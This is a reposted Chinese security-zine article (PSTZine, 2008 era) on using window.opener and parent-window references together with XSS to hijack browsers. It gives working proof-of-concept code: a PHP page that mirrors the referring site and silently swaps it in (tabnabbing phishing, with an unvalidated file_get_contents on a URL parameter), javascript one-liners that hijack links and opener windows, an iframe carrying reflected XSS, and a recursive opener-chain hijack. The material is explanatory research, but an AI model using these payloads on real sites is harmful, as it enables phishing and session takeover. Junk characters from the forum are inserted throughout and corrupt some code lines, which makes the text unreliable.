中国网络渗透测试联盟
标题:
[PSTZine 0x03][0x05][利用窗口引用漏洞和XSS漏洞实现浏览器劫持]
[打印本页]
作者:
admin
时间:
2012-9-13 17:10
标题:
[PSTZine 0x03][0x05][利用窗口引用漏洞和XSS漏洞实现浏览器劫持]
==Ph4nt0m Security Team==
/ r; X% ^. v" B1 N8 O- l" M
9 N+ ~$ ^; S6 E" A
Issue 0x03, Phile #0x05 of 0x07
2 T4 s. a' T4 B+ Q% U" O
! `% p( ~, I" t7 p1 G* z6 c3 r+ ]
/ I4 E! S3 m+ T# l
|=---------------------------------------------------------------------------=|
4 W6 @) H# J C
|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|
: B8 f, G, ]$ z" V) m
|=---------------------------------------------------------------------------=|
y+ e. }6 @4 w! A6 I" r3 H
|=---------------------------------------------------------------------------=|
/ a7 [+ E$ a. v7 O
|=------------------------=[ By rayh4c ]=---------------------------=|
8 K2 F+ R, w& M: D( p6 ~2 a1 Z
|=----------------------=[ <rayh4c#80sec.com> ]=------------------------=|
. e5 P0 Z0 l7 j: t+ ^ o8 W5 N
|=---------------------------------------------------------------------------=|
$ F3 `: h3 o: W- f* C
8 H U; w! H6 ~# ?+ E: U* U
- B3 S5 o; ]6 j( ? t
[目录]
" b4 g4 f5 C$ H
' E1 e. F# I. i/ n- w; s
1. 前言
* l5 L. A5 C5 W' s% b8 s5 r
2. 同源策略简叙
8 N6 q/ J' E. u# ]# H8 l+ S
3. 理解window对象的同源策略
" V6 q3 M4 @1 @7 r# G6 r; G
4. 窗口引用功能中的同源策略漏洞
) F: m( s4 Z9 W; ~3 R
4.1 父窗口引用子窗口的同源策略问题
c: }$ q4 f8 w' j+ j
4.2 子窗口引用父窗口的同源策略问题
# ]0 z/ v3 s R! i
5. 利用窗口引用漏洞劫持浏览器
) R/ X& y, v/ w% W7 d
6. 利用XSS漏洞劫持浏览器
$ N- B: N, x4 t3 k* O
6.1 正向跨窗口劫持
8 r; u: R- w$ l1 t
6.2 反向跨窗口劫持
& C' |& a4 f, A+ ^& P
6.3 极度危险的跨框架窗口引用劫持
. E( l& U$ [; ]1 Q, h
6.4 极度危险的正反向跨窗口递归劫持
2 w k8 s3 S6 ]) P: u2 Z( P' K# i
6.5 完全控制浏览器
: ^" ]7 N* D/ c, F. U. ?. X: m/ @) m
7. 后记
9 u' I- h: ^! H3 _5 G2 n8 z
8. 参考
]) K' W# |% s/ M( K: n! i0 W
0 X) G( z, u! F- Y% ~, @2 w- S( o% Z L, J
! Y/ l# Z6 Q7 K
一、前言
~! ~( c2 s' R. {; ^0 {
! w: k. H! X* E! C
最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋
9 Y5 v# k+ ^) u: D6 Z
友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session
9 B1 k! Y& H( V# {
劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被
7 X+ N B( w$ \6 t' O' l
条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。
5 p+ t$ g3 y3 }1 K% F- G& H5 A
6 P! c# b+ a, s, m
/ J7 o! }% P+ j) C* n
二、同源策略简叙
$ v$ ^# P7 A) w( p/ F! G
) h1 V: F% `: K" w+ @% H7 e
同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以
8 a# Q/ h3 o! j0 c! o. _1 y! E, I' @( L
从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都
/ R# P4 Y& H. I; M- r# S4 ?
曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木
' N1 F: q5 X. f$ T3 c9 K* _( i) z9 Y" T1 _
马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个
7 ^) A2 ? U) R" O y% {
漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。
0 M9 D" q% L$ ?3 k* K/ e
( e( ?- g- R5 _& `5 s, U
! D: T* Y& X$ z8 ^0 ?
三、理解window对象的同源策略
3 e; f1 S6 w7 t8 \2 {0 {
) M, ?, A( J. R3 f/ T
窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对
% s [% c7 x3 z
象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:
2 c$ M( t3 l! J( S9 P
$ i0 b0 M% c7 M. L1 [% R- s
--code-------------------------------------------------------------------------
& u1 {& a$ m" J* B) k$ {& b$ T
<script language="javascript">
4 D# k: b' q% n' q; ]
for(p in window) document.write(p+"<br>");
2 p7 t5 C& e- |( q4 L5 ~/ i
</script>
6 e4 ^: V3 Z7 I- I
-------------------------------------------------------------------------------
! y3 K3 a- s1 m
6 t7 i+ N: h' A
这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方
# E8 y! Q3 |) W" x3 ` `# ~, K
法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,
+ B( `- | @) x1 r3 T
这些属性和方法就必须遵循同源策略。
! p9 p0 g. Q: u9 Y
& {# i' m' W( X# s
举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那
" J$ Z& T4 j( x5 n+ O
么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须
! ?/ R$ @$ @& p! n8 e" U" X9 m
的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这
6 g4 n# E5 {+ K3 n: ]
个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的
( C$ @) M. z5 T4 `
值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location
' {* r, O1 M) M
属性并没有被拒绝访问。
3 \3 L r8 S7 H+ M
6 a+ H9 d& E" l P5 J' U8 r
--demo.html--------------------------------------------------------------------
$ ^7 f0 n* Z0 x6 I
<script language="javascript">
# P) o( N" X; W( d$ u
function allPrpos(obj) {
$ i+ Y1 ], Y3 f$ H7 r
var props = "<table><tr><td>名称</td><td>值</td>";
; ?9 w3 p! H; x$ c# j( W
for(var p in obj){
' @$ e" H/ _* d3 j, h( @! F
if(typeof(obj[p])=="function"){
5 I2 F V5 _& L( c, }$ j, n5 {
obj[p]();
" p, K% W/ ~; E
}else{
% m5 t3 W* s7 q2 a
try
! p8 \2 \& T# v' y G% i% u2 H
{
; A9 N# N; g7 y% V# ] o
props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>";
! v% A+ r6 a+ {4 Q" U# `
}
$ `9 d# H$ v K
catch (ex)
+ e- ], T+ N) `" m& l+ _
{
- ~- ]" U* y0 u( G
/ c8 A: i# ^' y U
props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>";
6 ]& ]' e. C$ }0 k7 a3 H
}
' C. k5 K2 G! p7 V3 A. M; \8 w$ h
8 ~7 a9 r1 c( o# |* a% z
}
' Q3 H9 V: X3 D# ]3 U" a
}
9 K9 d0 \# q# Q* i
7 V% D" H/ k$ ]9 E3 V
document.write(props+"</table>");
+ D+ K. R9 n& Y# Y; {: v/ v$ _
}
1 f/ M, ^: Q, g; u# \" Q& y
6 I; D! g0 k& N- e& m) q5 G
function createWin() {
& u' ^3 E. R2 H1 ~( j
newWin = window.open ("http://www.google.com");
1 s( b, K# d5 X' V
setTimeout(function(){allPrpos(newWin)},2000);
! z2 I, r( C& M# m3 g8 n
}
* X7 j* a9 w8 |% O4 y# a9 Q0 @! C
4 h% |3 r3 {3 y a: l
</script>
+ ?7 c) O. E$ s# T) U5 l
6 F* O. |3 Q0 m! ^4 l' b
<button onclick='createWin()'>创建一个非同源子窗口测试</button>
( H& h* d' i! |. ]" M( } Z
-------------------------------------------------------------------------------
/ N8 T% `7 e$ z3 @( _) R: O0 r
* W- O( o5 b( p: i ^
4 @3 V2 T% k; e- E" G6 B
四、窗口引用功能中的同源策略漏洞
# O. `" ]; S& d; M9 ^; c0 I
' `0 f2 o4 n7 _) W4 c
4.1 父窗口引用子窗口的同源策略问题
# {1 j% { r, ^2 `' C3 b
/ \3 r% O8 e; C% a0 c% C+ r
去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,
- M$ f& C5 p% j5 @
但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道
0 k1 ~) l" _: F. F; y& f
浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进
0 q1 }! ?) W9 Y" E
行测试,会发现父窗口可以控制非同源子窗口location属性值。
- G' r) w5 ], D- `- Z
M$ m2 i- n+ x2 b# o8 @
--vul1.html--------------------------------------------------------------------
: O: |% O+ v' Q4 O$ E' v6 `
<script language="javascript">
7 |" Q9 E m8 ^/ W7 y, w
function createWin() {
/ E6 N5 U& x6 @2 u' a% U
newWin = window.open ("http://www.google.com");
4 {, j* Z% ^6 M: V0 {
setTimeout(function(){newWin.location="http://www.80sec.com"},2000);
1 c Z; ]0 ^0 v* N N" Q$ P
}
1 C% e5 }0 J+ C2 w/ X1 U5 h
</script>
, o2 X* B& }8 n) Z! l
6 U2 M8 n* g3 K( X9 m
<button onclick='createWin()'>创建一个非同源子窗口测试</button>
5 ?' y1 O3 q1 X' P6 B
-------------------------------------------------------------------------------
( U9 `( ~6 j6 l( s4 i2 `# c
# n# d# M6 R* d; w
: [ {% ]+ H4 b% ?% t# Q5 m
4.2 子窗口引用父窗口的同源策略问题
) |4 T6 y3 G* `* v3 {% ?
% n! _; a$ z1 j8 x
逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使
4 d) |) `/ |2 k
用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们
$ i! l5 }% z% o; @ {
可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定
, \, B/ U5 X( k/ X
会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。
- C; u' L) t. e- {9 M# k
: H! Y& `0 h/ I
--code-------------------------------------------------------------------------
' ~8 A# h' A% S% m' c$ n. {
& e) j+ f# b0 L3 ?, {5 N+ P/ t$ o
javascript:window.opener.location = "http://www.80sec.com";void(0);
% y/ \; y0 n* C2 n9 V6 a$ v& h
/ J% [/ @& ~0 M, B
-------------------------------------------------------------------------------
' _+ B# C E% H2 {
6 y" |0 T& V! g8 I( ?8 a$ k" W O2 R
U3 d9 s5 k3 E! p+ g5 r. P- ?* y
五、利用窗口引用漏洞劫持浏览器
/ S [; u9 d* c9 i7 ~
" _# L9 k- a i E2 P
经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子
# F. B6 i+ l3 U M
窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那
9 o. u" n0 N5 S0 c5 b% E% n
么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。
& S4 H. t+ [' ~- L" v* |( i! m
- o ^9 N5 f0 C1 I; J7 G
我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产
; z A9 y( B# i% m
生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或
: h9 c, {6 |, S& M$ \6 T6 x
者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接
3 Y5 S2 |' d9 l0 J V R: ^4 }
后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下
; @4 P& L1 \+ J' Z/ `" l' l
会产生什么可怕的后果。
& ~8 P1 [" l7 P6 t
0 Q5 N4 ^' e* N s
下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我
2 z% b0 T# A, \$ f, O X
们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将
http://127.0.0.1/hjk_ref.php
! {/ @; E) t; `1 @+ B- U$ C
这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时
I0 Q: G) Z- G% {6 }
候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可
& X3 D6 b2 s) g
以做更多的事情,所有的一切仅仅是因为点击了一个链接。
9 b7 j8 x9 f4 P7 }0 E
; p) A" \1 b( C- g3 i' C) E
--hjk_ref.php------------------------------------------------------------------
2 A' {% [1 I0 C2 C+ }& q/ s" r4 y
<?php
% \- f. b9 ~! \. y, k" A. I: |
if (array_key_exists("HTTP_REFERER", $_SERVER)) {
4 ]6 ~- } N7 o: B( C
$Url_Mirror = $_SERVER["HTTP_REFERER"];
7 | B- _; O* s- b* d6 G0 |3 o
}
$ K; o5 T2 N! W1 L# \% ~7 \1 Q) _( Y
if(isset ($_GET['ref'])) {
( L k6 [% d6 A1 A7 ^3 c
echo file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';
0 D( a7 o6 P+ k; z, t( T
}
0 n& D, w% T7 ]6 i
?>
$ R3 x/ \1 \3 T2 l
1 s8 Z% p3 J x$ w$ z. b
<script language="javascript">
) p% k2 x- S. M" z; F. ^0 s+ j4 L
setTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000);
$ W7 v7 `- L; d; \
</script>
" L- v* [+ O' ?1 r" h$ j# ^
-------------------------------------------------------------------------------
5 b8 ?9 H2 D. @0 y+ }
1 V0 u+ P G9 W6 m
注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。
& O2 l3 \5 t2 I& f1 r2 y9 \
$ E% L# y; Z7 C
! O% x3 x0 |; D( p L/ i$ Y: \# F3 U
六、利用XSS漏洞劫持浏览器
! Q$ v$ T& S( C* k3 j
) F2 U, C4 h& W/ U/ }- U6 y& Z/ J! {
延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为
( n+ K" S9 T2 f: a
持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后
7 Z4 j9 r6 G6 Q2 q
XSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起
6 x; i+ Z9 k: h: K5 [) R8 @
讨论跨站师的终极技巧:
9 f q' L7 O6 o9 m
, }& u9 J) |; P# A
- `4 u- }/ n H/ a2 J& U1 _4 F# C: q3 p1 g
6.1 正向跨窗口劫持
5 O v7 q: K& ~+ M' [9 u, ~
( A5 A- I1 l& X& t3 ]) j; `
大家可以先试验下hijack_open.js这个脚本,比如打开
http://bbs.dvbbs.net/
动网论坛
! A6 c! s$ i/ t' R" w$ m
主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链
4 m2 y+ P3 B5 v' D* ~5 ~& V6 f
接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话
: B* Q8 i1 {( ?2 X
框脚本。
z% l& [" A: }7 G8 l* i6 u
; [3 S+ U1 O' D" k, ^- ]
--hijack_open.js---------------------------------------------------------------
+ |; \( L+ O, ~; i3 ~
# u( o$ @3 @* h: z" B8 O
javascript:for(i=0;i<document.links.length;i++){document.links
.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);
$ g! q, c0 K8 ?* M& h
9 o, ~; H) n8 i F/ d
-------------------------------------------------------------------------------
3 H* W) G0 J7 e* C3 l
4 m& W, |" X a$ z
" ]1 o. y7 C K4 w, |1 S
6.2 反向跨窗口劫持
4 B4 n7 Q6 ]9 k4 B: `6 p1 Q4 C8 }
# q) I! t% S# x- i; n
同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代
4 s2 y. u) \1 f: A. @0 s
码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话
( d3 |8 s/ j8 |! F2 y) F5 i0 D
框脚本。
* U* ?5 T) F# N7 J; |* A8 Q* s: K
- [* h9 @# c" ^% [! e) y
--hijack_opener.js-------------------------------------------------------------
4 G9 @2 \9 Q5 Z0 _
0 R/ u$ w; f+ m. Z) B
javascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);
- n( s8 ~) f* ?" `1 [
/ j9 E" o+ X& S# Q; J, k* T" i
-------------------------------------------------------------------------------
- ]4 |8 i5 W/ Q0 Q$ N& Z6 Z
1 u' M0 @4 b) ?" r4 }
$ P7 h) d9 K9 o0 \8 y% p) {" r4 P
6.3 极度危险的跨框架窗口引用劫持
! C2 c' h4 o9 |( M
* @, Z/ X" p) i* D
非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞
( q6 n* d4 }! i6 k' ]
可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就
. z. W# x V4 b7 I
适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个
* j! }) x- F$ h" P! ~9 A
非持久型的XSS,如下:
7 X; | c" M( o3 `0 j0 m8 i- b
: h4 f+ F7 h" w( Y, D6 E
<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>
{; v4 S1 k4 O' I
g3 b7 M6 Y4 G+ R
在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口
, ~* \) z f4 w+ ~5 h
注入脚本。
7 \+ q- g1 h& o
+ n8 t% _* z7 l6 v9 b
--hijack_frame_opener.js-------------------------------------------------------
0 g! D: ]! l- k t* ?1 P9 }7 f
<script>
) ~. _) f9 a* a4 C# B! n5 v
window.parent.opener.location="javascript:alert('I had been hijacking your browser!')";
: o$ ?/ {" A6 x: C$ C# d. M
</script>
( B9 ^' [' I# D( o! w
-------------------------------------------------------------------------------
7 Y+ h( Q6 P/ X' v3 u- F
, u# E* t* t/ l( k
. W% w: O \5 h0 T
6.4 极度危险的正反向跨窗口递归劫持
- E" F% Y: e( V- U2 W/ s
3 X# }1 a: @4 F. J: x M
luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window
( L2 I& e3 @0 n( p) C5 b8 u+ ?: z
的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过
: o% R0 j# O) g
异常处理规避之间跨域页面的访问异常,代码如下:
% g7 b8 N& Y2 y6 t: F* U
4 l0 s" M) \9 |; B- c) U3 i
--code-------------------------------------------------------------------------
5 S" ^) n3 X) r' @5 U$ h
, X! q5 T; y' L$ U2 n1 }! N
javascript
function(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);
9 I9 e( R/ r2 p# j$ I
6 a3 n+ Z+ `$ ]0 y
-------------------------------------------------------------------------------
6 Q8 i* x i9 N e/ N7 t1 g& [
; N% A: A- B5 Y
假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可
: k6 R A" y- E* y
以劫持B域之前的A域页面,从而实现“隔空打击”。
7 I" D. ]; g& [1 E0 |+ X N: m
/ }) O# Q, s" |, W
同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面
# V- Z3 p+ p: ]: d9 B, _
执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。
+ q5 m% A0 ?+ c) C
6 E7 l* G0 t& H, S) a
结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。
6 a1 ^. J$ P S1 Y7 v* ?
& _$ U0 }8 o+ X G) n/ h
# O1 w/ k0 y! i# H: i5 Q/ ~* e
6.5 完全控制浏览器
% K) |/ S/ `8 n% u$ z5 o+ C
2 b0 o1 c& |1 n% t9 W
一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则
2 |0 u: U& K$ w0 O! M5 m& F. V. f
是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS
( Z8 s Q- p0 m5 s4 i
漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失
- U2 i% M1 b ~3 H! h1 N/ R! e
而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再
8 S1 c" v a* @% a- ^
列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站
5 } H0 s: k6 `2 b. h
师的终极目标 - 完全控制浏览器。
) ~& _5 }& ?! R
6 w$ ?! L) v+ Q6 h( z, F
: o ~/ ?- S6 \: i/ U
七、后记
2 c5 O, u3 j! Y! Y
7 \& V; P' y f
文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全
* }- B, a' Z7 n1 q7 g
与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予
. T t' x# j6 j' N
过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。
- P1 p/ I2 Y' I" C' q" Y* X, g
; g1 ~6 x, H' k( J, ?( r
# r# C( W+ v/ R+ N' G
八、参考
% V5 S. R2 L. b
8 T. C- |7 W/ l
1.
http://en.wikipedia.org/wiki/Same_origin_policy
b# ?5 W# p9 Q- e; {5 B, Z; p7 @
2.
http://code.google.com/p/browser ... licy_for_DOM_access
3 X8 `+ X; v2 a) c
3.
http://www.w3.org/TR/Window/
9 [2 x2 i" x( w- ~# y2 V
4.
http://www.80sec.com/release/browser-hijacking.txt
9 I& b, c8 s$ x2 J' f
5.
http://www.80sec.com/all-browser-security-alert.html
1 u- B' ~. k7 Q& u, @
6.
http://www.80sec.com/ms08-058-attacks-google.html
$ o! e) q& V6 k
}+ f3 f( }3 ^ o# Y* p1 C
-EOF-
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2